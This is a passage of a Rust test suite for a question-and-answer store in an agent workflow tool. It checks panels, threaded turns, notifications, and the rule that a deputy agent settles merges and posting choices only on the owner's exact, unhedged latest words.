2858 std::fs::write(after.join("diff.png"), "after").unwrap();
2859
2860 let mut q = panelled();
2861 let e = s
2862 .put_panel(
2863 &mut q,
2864 "<p>x</p>",
2865 &[before.join("diff.png"), after.join("diff.png")],
2866 )
2867 .unwrap_err()
2868 .to_string();
2869 assert!(e.contains("diff.png"), "{e}");
2870 assert!(
2871 e.contains("before") && e.contains("after"),
2872 "both sources are named, because the fix is to rename one: {e}"
2873 );
2874 assert!(!q.panel);
2875 assert!(!s.panel_dir(&q.id).exists());
2876 }
2877
2878 #[test]
2879 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2880 let (dir, s) = store();
2881 std::fs::write(dir.path().join("old.png"), "old").unwrap();
2882 std::fs::write(dir.path().join("new.png"), "new").unwrap();
2883
2884 let mut q = panelled();
2885 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2886 .unwrap();
2887 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2888 .unwrap();
2889
2890 assert_eq!(q.assets, ["new.png"]);
2891 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2892 assert!(
2893 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2894 "an asset from the first attempt would show a mix of two answers"
2895 );
2896
2897 s.drop_panel(&q.id).unwrap();
2898 assert!(s.panel_html(&q.id).is_none());
2899 assert!(!s.panel_dir(&q.id).exists());
2900 s.drop_panel(&q.id)
2901 .expect("dropping a panel that is already gone is the desired state");
2902 }
2903
2904 #[test]
2905 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2906 let (_dir, s) = store();
2907 let mut q = panelled();
2908 s.put(&mut q).unwrap();
2909
2910 assert!(!q.panel);
2911 assert!(s.panel_html(&q.id).is_none());
2912 assert!(
2913 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2914 "a missing file is a 404 for the caller, not a failure of the store"
2915 );
2916 let json = serde_json::to_value(&q).unwrap();
2917 assert_eq!(json["panel"], false);
2918 assert_eq!(json["assets"], serde_json::json!([]));
2919
2920 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
2923 assert!(e.contains("empty panel"), "{e}");
2924 assert!(!s.panel_dir(&q.id).exists());
2925 }
2926
2927 #[test]
2928 fn a_question_written_before_panels_existed_still_deserialises() {
2929 let (_dir, s) = store();
2930 std::fs::create_dir_all(s.root()).unwrap();
2931 let id = "20260902-231501-ab12";
2932 let body = r#"{
2934 "schema": 1,
2935 "id": "20260902-231501-ab12",
2936 "run": "20260902-201256-9fb7",
2937 "node": "implement",
2938 "seat": "impl-A",
2939 "summary": "Which storage backend should the cache use?",
2940 "detail": "Both are already dependencies.",
2941 "choices": ["SQLite", "Redis"],
2942 "status": "open",
2943 "asked_at": "2026-09-02T23:15:01Z",
2944 "answered_at": null,
2945 "answer": null
2946}"#;
2947 std::fs::write(s.path_of(id), body).unwrap();
2948
2949 let q = s.get(id).unwrap();
2950 assert!(
2951 !q.panel,
2952 "an absent field means no panel, not a parse error"
2953 );
2954 assert!(q.assets.is_empty());
2955 assert_eq!(q.schema, 1);
2960 assert!(q.thread.is_empty());
2961 assert_eq!(
2962 q.answer_timeout, 0,
2963 "an absent field means unrecorded, not a zero-second deadline"
2964 );
2965 assert!(!q.waiting_on_agent());
2966 assert_eq!(q.summary, "Which storage backend should the cache use?");
2967 assert_eq!(
2968 s.list().len(),
2969 1,
2970 "and it is still listed; skipping it would hide an open question"
2971 );
2972 }
2973
2974 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2975 Turn {
2976 who,
2977 body: body.to_owned(),
2978 at,
2979 note: None,
2980 }
2981 }
2982
2983 #[test]
2984 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2985 let mut q = choice_question();
2988 q.thread
2989 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2990 let value = serde_json::to_value(&q.thread[0]).unwrap();
2991 let mut keys: Vec<&str> = value
2992 .as_object()
2993 .unwrap()
2994 .keys()
2995 .map(String::as_str)
2996 .collect();
2997 keys.sort_unstable();
2998 assert_eq!(keys, ["at", "body", "who"]);
2999 assert_eq!(value["who"], "operator");
3000 assert_eq!(value["body"], "why not Postgres?");
3001
3002 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3003 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3004 assert_eq!(parsed.who, Who::Agent);
3005 }
3006
3007 fn approval_question() -> Question {
3008 let mut q = Question::new(
3009 "run".into(),
3010 crate::land::APPROVAL_NODE.into(),
3011 "land".into(),
3012 "Merge?".into(),
3013 String::new(),
3014 vec!["merge".into(), "hold".into()],
3015 );
3016 let mut dep = Deputy::new("brief".into());
3017 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3018 q.deputy = Some(dep);
3019 q
3020 }
3021
3022 #[test]
3023 fn deputy_batch_words_never_replace_specific_consent_or_a_recommendation_manifest() {
3024 for choice in [
3025 crate::merge_decision::WITHDRAW,
3026 "reimplement:primary",
3027 "retry",
3028 "discard",
3029 ] {
3030 let mut q = approval_question();
3031 q.choices.push(choice.into());
3032 if matches!(choice, "retry" | "discard") {
3033 q.node = "recovery".into();
3034 }
3035 if choice == "discard" {
3036 q.actions.insert(choice.into(), ChoiceAction::Done);
3037 }
3038 let words = "おっけーそれぞれ回答してー";
3039 q.say(words).unwrap();
3040 let error = q
3041 .settle_by_deputy("deputy-x", choice, words, None)
3042 .unwrap_err()
3043 .to_string();
3044 assert!(
3045 error.contains(if choice == "retry" {
3046 "manifest"
3047 } else {
3048 "individual owner confirmation"
3049 }),
3050 "{choice}: {error}"
3051 );
3052 assert!(q.status.open());
3053 }
3054 }
3055
3056 #[test]
3057 fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
3058 for choice in [
3059 crate::land::HOLD,
3060 crate::land::REPAIR,
3061 crate::merge_decision::WITHDRAW,
3062 "reimplement:beta",
3063 ] {
3064 let mut q = approval_question();
3065 q.node = crate::land::APPROVAL_NODE.into();
3066 q.choices = vec!["merge".into(), choice.into()];
3067 q.merge_target = Some(crate::merge_decision::Target {
3068 pr: "PR 42".into(),
3069 head: "abc".into(),
3070 language: "en".into(),
3071 });
3072 q.say(format!("Should we choose {choice}?")).unwrap();
3073 assert!(
3074 q.settle_by_deputy("deputy-x", choice, choice, None)
3075 .is_err()
3076 );
3077 q.say(choice).unwrap();
3078 q.settle_by_deputy("deputy-x", choice, choice, None)
3079 .unwrap();
3080 assert_eq!(q.resolution().as_deref(), Some(choice));
3081 }
3082 let mut q = approval_question();
3083 q.node = crate::land::APPROVAL_NODE.into();
3084 q.choices = vec!["merge".into(), "hold".into()];
3085 q.merge_target = Some(crate::merge_decision::Target {
3086 pr: "PR 42".into(),
3087 head: "new-head".into(),
3088 language: "en".into(),
3089 });
3090 q.say("merge old-head").unwrap();
3091 assert!(
3092 q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3093 .is_err()
3094 );
3095 q.say("merge new-head").unwrap();
3096 q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3097 .unwrap();
3098 }
3099
3100 #[test]
3101 fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3102 let mut q = approval_question();
3103 q.choices.push(crate::land::REPAIR.into());
3104 q.say("maybe fix findings and re-review").unwrap();
3105 assert!(
3106 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3107 .is_err()
3108 );
3109 q.say(crate::land::REPAIR).unwrap();
3110 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3111 .unwrap();
3112 assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3113 assert_eq!(
3114 crate::land::approval(q.resolution().as_deref()),
3115 crate::land::Approval::Repair
3116 );
3117 }
3118
3119 #[test]
3120 fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3121 let mut q = approval_question();
3122 q.say("merge").unwrap();
3123 q.reply("sure?", vec!["merge".into(), "hold".into()])
3124 .unwrap();
3125 q.say(" Merge it please ").unwrap();
3126 assert!(
3127 q.settle_by_deputy("deputy-x", "merge", " ", None)
3128 .is_err(),
3129 "an empty quote is refused"
3130 );
3131 assert!(
3132 q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3133 .is_err(),
3134 "a quote the owner never said is refused"
3135 );
3136 assert_eq!(q.status, QuestionStatus::Open);
3137 q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3138 .unwrap();
3139 assert_eq!(q.resolution().as_deref(), Some("merge"));
3140 }
3141
3142 #[test]
3143 fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3144 use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3145 let mk = || {
3146 let mut q = Question::new(
3147 "run".into(),
3148 crate::github_text::ASK_NODE.into(),
3149 crate::github_text::ASK_SEAT.into(),
3150 "s".into(),
3151 String::new(),
3152 vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3153 );
3154 let mut dep = Deputy::new("brief".into());
3155 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3156 q.deputy = Some(dep);
3157 q
3158 };
3159 let mut hedged = mk();
3160 hedged.say("Post the original, maybe?").unwrap();
3161 assert!(
3162 hedged
3163 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3164 .is_err()
3165 );
3166 let mut clear = mk();
3167 clear.say("Post the original text as it is.").unwrap();
3168 clear
3169 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3170 .unwrap();
3171 assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3172 let mut japanese = mk();
3173 let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3174 japanese.say(words).unwrap();
3175 japanese
3176 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3177 .unwrap();
3178 let mut unrelated = mk();
3179 unrelated.say("Proceed with the task").unwrap();
3180 assert!(
3181 unrelated
3182 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3183 .is_err()
3184 );
3185 for words in [
3186 "OK, post the original",
3187 "Yes, post original",
3188 "I'd like to post the original",
3189 ] {
3190 let mut natural = mk();
3191 natural.say(words).unwrap();
3192 natural
3193 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3194 .unwrap();
3195 }
3196 for (message, quote) in [
3197 (
3198 "ログには「元の説明で投稿しました」と記録されています。",
3199 "ログには「元の説明で投稿しました」と記録されています。",
3200 ),
3201 (
3202 "ログには「元の説明で投稿してください」と記録されています。",
3203 "元の説明で投稿してください",
3204 ),
3205 ] {
3206 let mut descriptive = mk();
3207 descriptive.say(message).unwrap();
3208 assert!(
3209 descriptive
3210 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3211 .is_err()
3212 );
3213 assert!(descriptive.status.open());
3214 assert!(descriptive.answer.is_none());
3215 }
3216 let mut descriptive = mk();
3217 let message = "Post original was the option I saw.";
3218 descriptive.say(message).unwrap();
3219 for quote in [message, "Post original"] {
3220 assert!(
3221 descriptive
3222 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3223 .is_err()
3224 );
3225 assert!(descriptive.status.open());
3226 assert!(descriptive.answer.is_none());
3227 }
3228 let mut safe = mk();
3230 safe.say("use the fallback").unwrap();
3231 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3232 .unwrap();
3233 }
3234
3235 #[test]
3236 fn posting_deputy_rejects_multiline_quoted_context() {
3237 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3238 for (command, choice) in [
3239 ("Post original", POST_ORIGINAL),
3240 ("Use rewrite", USE_REWRITE),
3241 ] {
3242 for message in [
3243 format!("The log contains:\n```\n{command}\n```"),
3244 format!("The log contains:\n\"\n{command}\n\""),
3245 format!("The log says: “Reported. {command}.”"),
3246 format!("The log says: “\n{command}\n”"),
3247 ]
3248 .into_iter()
3249 .chain(crate::github_text::reported_posting_messages(command))
3250 {
3251 let mut q = Question::new(
3252 "run".into(),
3253 ASK_NODE.into(),
3254 ASK_SEAT.into(),
3255 "s".into(),
3256 String::new(),
3257 vec![USE_FALLBACK.into(), choice.into()],
3258 );
3259 let mut dep = Deputy::new("brief".into());
3260 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3261 q.deputy = Some(dep);
3262 q.say(&message).unwrap();
3263 let tmp = tempfile::tempdir().unwrap();
3264 let questions = Questions::at(tmp.path().join("questions"));
3265 questions.put(&mut q).unwrap();
3266 for quote in [command, message.as_str()] {
3267 assert!(
3268 questions
3269 .update(&q.id, |stored| {
3270 stored.settle_by_deputy("deputy-x", choice, quote, None)
3271 })
3272 .is_err()
3273 );
3274 let after = questions.get(&q.id).unwrap();
3275 assert!(after.status.open());
3276 assert!(after.answer.is_none());
3277 }
3278 }
3279 }
3280 }
3281
3282 #[test]
3283 fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3284 use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3285 let mk = || {
3286 let mut q = Question::new(
3287 "run".into(),
3288 crate::github_text::ASK_NODE.into(),
3289 crate::github_text::ASK_SEAT.into(),
3290 "s".into(),
3291 String::new(),
3292 vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3293 );
3294 let mut dep = Deputy::new("brief".into());
3295 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3296 q.deputy = Some(dep);
3297 q
3298 };
3299 let mut hedged = mk();
3300 hedged.say("Use the rewrite, maybe?").unwrap();
3301 assert!(
3302 hedged
3303 .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3304 .is_err()
3305 );
3306 let mut descriptive = mk();
3307 let message = "Use rewrite was the option I saw.";
3308 descriptive.say(message).unwrap();
3309 for quote in [message, "Use rewrite"] {
3310 assert!(
3311 descriptive
3312 .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3313 .is_err()
3314 );
3315 assert!(descriptive.status.open());
3316 assert!(descriptive.answer.is_none());
3317 }
3318 for words in [
3319 "Use the rewrite text as it is.",
3320 "I'd like to use the rewrite",
3321 "修正版で投稿してください。",
3322 ] {
3323 let mut clear = mk();
3324 clear.say(words).unwrap();
3325 clear
3326 .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3327 .unwrap();
3328 assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3329 }
3330 let mut safe = mk();
3332 safe.say("use the fallback").unwrap();
3333 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3334 .unwrap();
3335 }
3336
3337 #[test]
3338 fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3339 let mk = |choices: Vec<String>| {
3340 let mut q = Question::new(
3341 String::new(),
3342 crate::bump::NOTICE_NODE.into(),
3343 "release-watch".into(),
3344 "Release?".into(),
3345 String::new(),
3346 choices,
3347 );
3348 let mut dep = Deputy::new("brief".into());
3349 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3350 q.deputy = Some(dep);
3351 q
3352 };
3353 let mut approval = mk(vec!["merge".into(), "hold".into()]);
3354 assert!(crate::deputy::merge_gated(&approval));
3355 approval.say("マージしていいよ").unwrap();
3356 assert!(
3357 approval
3358 .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3359 .is_err(),
3360 "a quote the owner never said is refused"
3361 );
3362 approval
3363 .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3364 .unwrap();
3365
3366 let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3367 assert!(!crate::deputy::merge_gated(&esc));
3368 esc.say("もう監視はいらない").unwrap();
3369 esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3370 .unwrap();
3371 assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3372 }
3373
3374 #[test]
3375 fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3376 let mut q = approval_question();
3377 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3378 .unwrap();
3379 assert!(
3380 q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3381 .is_err(),
3382 "the quote must be the owner's"
3383 );
3384 assert!(
3385 q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3386 .is_err(),
3387 "`hold` still needs the whole message"
3388 );
3389 q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3390 .unwrap();
3391 assert_eq!(q.resolution().as_deref(), Some("merge"));
3392 }
3393
3394 fn settle_ready() -> Question {
3395 let mut q = Question::new(
3396 "task".to_owned(),
3397 "conduct".to_owned(),
3398 "conduct".to_owned(),
3399 "Done?".to_owned(),
3400 String::new(),
3401 vec!["yes".to_owned(), "no".to_owned()],
3402 );
3403 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3404 seat.turns = 1;
3405 let mut dep = Deputy::new("brief".to_owned());
3406 dep.seat = Some(seat);
3407 q.deputy = Some(dep);
3408 q.say("setup done, and file a follow-up").unwrap();
3409 q
3410 }
3411
3412 #[test]
3413 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3414 let dir = tempfile::TempDir::new().unwrap();
3415 let store = Questions::at(dir.path().join("questions"));
3416 let mut q = settle_ready();
3417 let id = q.id.clone();
3418 store.put(&mut q).unwrap();
3419 store
3420 .update(&id, |q| {
3421 q.settle_by_deputy(
3422 "deputy-x",
3423 "yes",
3424 "setup done",
3425 Some(" no follow-up was queued "),
3426 )
3427 })
3428 .unwrap();
3429 let back = store.get(&id).unwrap();
3430 let turn = back.thread.last().unwrap();
3431 assert_eq!(turn.who, Who::Agent);
3432 assert!(turn.body.starts_with("Settled as `yes`"));
3433 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3434 assert_eq!(back.thread[0].note, None);
3435 }
3436
3437 #[test]
3438 fn an_empty_or_blank_settle_note_is_no_note() {
3439 for note in [None, Some(""), Some(" \n ")] {
3440 let mut q = settle_ready();
3441 q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3442 .unwrap();
3443 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3444 let json = serde_json::to_string(&q).unwrap();
3445 assert!(!json.contains("\"note\""), "no key when there is none");
3446 }
3447 }
3448
3449 #[test]
3450 fn a_refused_settle_leaves_no_note_behind() {
3451 let mut q = settle_ready();
3452 let before = q.thread.clone();
3453 assert!(
3454 q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3455 .is_err()
3456 );
3457 assert!(
3458 q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3459 .is_err()
3460 );
3461 assert_eq!(q.thread, before);
3462 assert_eq!(q.status, QuestionStatus::Open);
3463 }
3464
3465 #[test]
3466 fn a_turn_written_before_notes_existed_still_reads() {
3467 let t: Turn =
3468 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3469 .unwrap();
3470 assert_eq!(t.note, None);
3471 }
3472
3473 #[test]
3474 fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3475 let mut q = approval_question();
3476 q.say("merge").unwrap();
3477 q.reply("sure?", vec!["merge".into(), "hold".into()])
3478 .unwrap();
3479 q.say("wait, hold off").unwrap();
3480 assert!(
3481 q.settle_by_deputy("deputy-x", "merge", "merge", None)
3482 .is_err()
3483 );
3484 assert_eq!(q.status, QuestionStatus::Open);
3485 }
3486
3487 #[test]
3488 fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3489 let mut q = Question::new(
3490 "task".to_owned(),
3491 "conduct".to_owned(),
3492 "conduct".to_owned(),
3493 "Done?".to_owned(),
3494 String::new(),
3495 vec!["yes".to_owned(), "no".to_owned()],
3496 );
3497 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3498 seat.turns = 1;
3499 let mut dep = Deputy::new("brief".to_owned());
3500 dep.seat = Some(seat);
3501 q.deputy = Some(dep);
3502 q.say("setup done, go ahead").unwrap();
3503
3504 assert!(
3505 q.settle_by_deputy("someone-else", "yes", "setup done", None)
3506 .is_err()
3507 );
3508 assert!(
3509 q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3510 .is_err()
3511 );
3512 assert!(
3513 q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3514 .is_err()
3515 );
3516 assert!(q.settle_by_deputy("deputy-x", "yes", " ", None).is_err());
3517 assert_eq!(q.status, QuestionStatus::Open);
3518
3519 q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3520 .unwrap();
3521 assert_eq!(q.status, QuestionStatus::Answered);
3522 assert_eq!(q.resolution().as_deref(), Some("yes"));
3523 let last = q.thread.last().unwrap();
3524 assert_eq!(last.who, Who::Agent);
3525 assert!(
3526 last.body.contains("setup done"),
3527 "the quote stays on the record"
3528 );
3529 }
3530
3531 #[test]
3532 fn a_question_written_before_deputies_still_reads() {
3533 let mut q = Question::new(
3534 "task".to_owned(),
3535 "conduct".to_owned(),
3536 "conduct".to_owned(),
3537 "Done?".to_owned(),
3538 String::new(),
3539 Vec::new(),
3540 );
3541 q.schema = 4;
3542 let mut v = serde_json::to_value(&q).unwrap();
3543 v.as_object_mut().unwrap().remove("deputy");
3544 let back: Question = serde_json::from_value(v).unwrap();
3545 assert!(back.deputy.is_none());
3546 }
3547
3548 #[test]
3549 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3550 let mut q = choice_question();
3551 q.say("does the cache need eviction?").unwrap();
3552 assert_eq!(q.thread.len(), 1);
3553 assert_eq!(q.thread[0].who, Who::Operator);
3554 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3555 assert_eq!(q.status, QuestionStatus::Open);
3558 assert!(q.answer.is_none());
3559 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3560 }
3561
3562 #[test]
3563 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3564 let mut answered = choice_question();
3565 answered
3566 .answer(Answer::Choice("SQLite".to_owned()))
3567 .unwrap();
3568 let a = answered.say("still there?").unwrap_err().to_string();
3569 assert!(a.contains("already answered"), "{a}");
3570 let b = answered
3571 .reply("still there?", vec![])
3572 .unwrap_err()
3573 .to_string();
3574 assert!(b.contains("already answered"), "{b}");
3575
3576 let mut abandoned = choice_question();
3577 abandoned.abandon("timed out");
3578 let c = abandoned.say("hello?").unwrap_err().to_string();
3579 assert!(c.contains("abandoned"), "{c}");
3580
3581 let mut open = choice_question();
3582 let d = open.say(" ").unwrap_err().to_string();
3583 assert!(d.contains("empty"), "{d}");
3584 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3585 assert!(e.contains("empty"), "{e}");
3586 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3587 }
3588
3589 #[test]
3590 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3591 let mut q = choice_question();
3592 q.say("SQLite or Redis, but what about disk space?")
3593 .unwrap();
3594 assert!(q.waiting_on_agent());
3595
3596 q.reply(
3597 "SQLite: it is one file, no server to run.",
3598 vec!["SQLite".to_owned()],
3599 )
3600 .unwrap();
3601
3602 assert_eq!(q.choices, ["SQLite"]);
3603 assert!(
3604 !q.waiting_on_agent(),
3605 "the agent spoke, so the owner is the one being waited on now"
3606 );
3607 assert_eq!(q.thread.len(), 2);
3608 assert_eq!(q.thread[1].who, Who::Agent);
3609
3610 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3612 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3613 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3614 }
3615
3616 #[test]
3617 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3618 let mut fresh = choice_question();
3619 assert!(
3620 fresh.should_notify(Timestamp::now()),
3621 "nobody has been notified yet, so the first ask always pages"
3622 );
3623
3624 fresh.say("why not Postgres?").unwrap();
3625 let just_said = fresh.thread[0].at;
3626 assert!(
3627 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3628 "still on the screen a minute later; no need to page again"
3629 );
3630 assert!(
3631 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3632 "exactly the window: `>` means this side stays quiet"
3633 );
3634 assert!(
3635 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3636 "past the window: they may have walked away"
3637 );
3638 }
3639
3640 #[test]
3641 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3642 let (_dir, s) = store();
3643 let mut q = choice_question();
3644 s.put(&mut q).unwrap();
3645 q.say("why not Postgres?").unwrap();
3646 s.put(&mut q).unwrap();
3647 q.reply("no server to run", vec!["SQLite".to_owned()])
3648 .unwrap();
3649 s.put(&mut q).unwrap();
3650
3651 assert_eq!(
3652 s.count_open(),
3653 1,
3654 "one question that talked twice is still one open question"
3655 );
3656 assert_eq!(s.open_for(&q.run).len(), 1);
3657 }
3658
3659 #[tokio::test]
3660 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3661 let (dir, s) = store();
3662 let mut q = choice_question();
3663 let id = q.id.clone();
3664 let writer = Questions::at(dir.path().join("questions"));
3665 let handle = tokio::spawn(async move {
3666 tokio::time::sleep(Duration::from_millis(30)).await;
3667 let mut fresh = writer.get(&id).expect("the question was filed first");
3668 fresh.say("why not Postgres?").unwrap();
3669 writer.put(&mut fresh).unwrap();
3670 });
3671
3672 let got = wait_for_owner(
3673 &mut q,
3674 &s,
3675 &quiet(),
3676 Duration::from_secs(5),
3677 Duration::from_millis(10),
3678 )
3679 .await
3680 .unwrap();
3681
3682 handle.await.unwrap();
3683 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3684 assert_eq!(
3685 q.status,
3686 QuestionStatus::Open,
3687 "talking back is not a decision; the question stays open"
3688 );
3689 assert!(q.answer.is_none());
3690 }
3691
3692 #[test]
3693 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3694 let mut q = choice_question();
3695 q.say("A").unwrap();
3696 q.delivered_turns = q.thread.len();
3697 q.say("B").unwrap();
3698 q.reply("about A", vec![]).unwrap();
3699 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3700 q.delivered_turns = q.thread.len();
3701 assert_eq!(q.unread_from_owner(), None);
3702 }
3703
3704 #[test]
3705 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3706 let (_d, s) = store();
3707 let mut q = choice_question();
3708 s.put(&mut q).unwrap();
3709 q.say("first").unwrap();
3710 q.say("second").unwrap();
3711 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3712 s.put(&mut q).unwrap();
3713 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3714 let mut out = Vec::new();
3715 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3716 let shown = String::from_utf8(out).unwrap();
3717 let (a, b, c) = (
3718 shown.find("first").unwrap(),
3719 shown.find("second").unwrap(),
3720 shown.find("SQLite").unwrap(),
3721 );
3722 assert!(a < b && b < c, "{shown}");
3723 assert_eq!(q.delivered_turns, q.thread.len());
3724 assert!(q.answer_delivered);
3725 }
3726
3727 #[test]
3728 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3729 let mut q = choice_question();
3730 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3731 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3732 let mut q = choice_question();
3733 q.say("old").unwrap();
3734 q.delivered_turns = q.thread.len();
3735 q.say("new").unwrap();
3736 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3737 let shown = answer_for_agent(&q, "SQLite");
3738 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3739 }
3740
3741 #[test]
3742 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3743 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3744 let ok = parse_actions(
3745 &[
3746 "resume で続行する=resume".to_owned(),
3747 "wait=done".to_owned(),
3748 ],
3749 &choices,
3750 "run-1",
3751 )
3752 .unwrap();
3753 assert_eq!(
3754 ok["resume で続行する"],
3755 ChoiceAction::Resume {
3756 run: "run-1".into()
3757 }
3758 );
3759 assert_eq!(ok["wait"], ChoiceAction::Done);
3760
3761 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3762 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3763 assert_eq!(
3764 ChoiceAction::parse("x=requeue", "").unwrap().1,
3765 ChoiceAction::Requeue
3766 );
3767
3768 assert_eq!(
3769 ChoiceAction::parse("x=hold", "").unwrap().1,
3770 ChoiceAction::Hold
3771 );
3772
3773 for bad in [
3774 "no-equals",
3775 "=done",
3776 "x=resume",
3777 "x=resume:",
3778 "x=explode",
3779 "x=done:1",
3780 ] {
3781 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3782 }
3783 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3784 assert!(
3785 parse_actions(
3786 &["wait=done".to_owned(), "wait=requeue".to_owned()],
3787 &choices,
3788 ""
3789 )
3790 .is_err()
3791 );
3792 }
3793
3794 #[test]
3795 fn only_a_chosen_label_with_an_action_is_actionable() {
3796 let mut q = choice_question();
3797 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3798 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3799 assert!(q.chosen_action().is_none(), "unanswered");
3800 q.answer(Answer::Choice("resume".to_owned())).unwrap();
3801 assert!(
3802 q.chosen_action().is_none(),
3803 "a label that merely reads like an action does nothing"
3804 );
3805
3806 let mut q2 = choice_question();
